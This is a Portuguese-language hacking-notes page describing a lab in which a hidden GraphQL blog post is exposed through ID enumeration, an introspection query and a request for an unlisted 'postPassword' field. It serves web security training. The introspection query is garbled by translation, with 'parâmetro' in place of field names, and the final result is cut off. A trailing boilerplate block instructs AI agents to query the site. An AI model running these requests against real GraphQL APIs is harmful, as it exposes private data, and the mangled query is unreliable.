> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/accessing-private-graphql-posts.md).

# Acesso a Posts Privados do GraphQL

### Acessando Posts Privados no GraphQL

#### Objetivo do Laboratório

A página do blog contém um artigo **oculto** (não listado) contendo uma **senha secreta**. Para validar o laboratório, você deve **encontrar esta publicação privada** e então **enviar a senha**.

### 1) Reconhecimento do tráfego GraphQL

Ao acessar a página principal do blog, uma solicitação GraphQL é enviada em segundo plano (via a **Network**  ou **Burp** guia):

* Endpoint: `POST /GraphQL/v1`
* Operação: `getBlogSummaries`

<figure><img src="/files/c6f0f9daa11a40a3fb4d9bdbf1da6cfeb3d6040d" alt=""><figcaption></figcaption></figure>

Exemplo de solicitação interceptada:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Esta consulta retorna as publicações visíveis e seus `id`. Observa-se que a lista contém páginas/publicações **1, 2, 4 e 5**, mas que **falha em fazê-lo 3** → um ótimo indicativo de uma publicação **privada / oculta**.

<figure><img src="/files/3ac815793f9e7dc2122bfa4836ad4cc626f85f19" alt=""><figcaption></figcaption></figure>

#### 2) Recuperação de uma publicação por ID

Ao abrir um artigo, a aplicação envia outra consulta que recupera o conteúdo completo pelo ID:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Isso confirma que podemos **enumerar** publicações modificando `variables.id`.

#### 3) Introspecção para descobrir o esquema

<figure><img src="/files/2cb35e272e455441e2d825f9160cff7cac923457" alt=""><figcaption></figcaption></figure>

Para ver todas as propriedades disponíveis, usamos a**Consulta de introspecção** (por exemplo, via **InQL**, **guia GraphQL**, ou um payload padrão):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            parâmetro
        }
        mutationType {
            parâmetro
        }
        subscriptionType {
            parâmetro
        }
        types {
            ...FullType
        }
        directives {
            parâmetro
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    parâmetro
    description
    fields(includeDeprecated: true) {
        parâmetro
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        parâmetro
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    parâmetro
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    parâmetro
    ofType {
        kind
        parâmetro
        ofType {
            kind
            parâmetro
            ofType {
                kind
                parâmetro
            }
        }
    }
}gra
```

Resposta: **200 OK**, muito grande (mais de 1000 linhas).

<figure><img src="/files/5fdc269308c62ada1cdc8ffae744255ae1ec04de" alt=""><figcaption></figcaption></figure>

A análise revela um campo interessante: **`postPassword`**.

<figure><img src="/files/8669f108d7b29cc6d4fc86a1c4163b96e3957196" alt=""><figcaption></figcaption></figure>

### (4) Extração da publicação oculta (ID 3)

Reiniciar `getBlogPost` ao adicionar o `postPassword` campo, então mire no ID ausente (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Variáveis :

```json
{
    "id":3
}
```

<figure><img src="/files/6d67eb54f0eba51730cc5ca3fbab1edb27751aa4" alt=""><figcaption></figcaption></figure>

Resultado: a resposta contém o valor de **`postPassword`** → c

<figure><img src="/files/f0033958efe8a583b3511715da36530e2488361c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
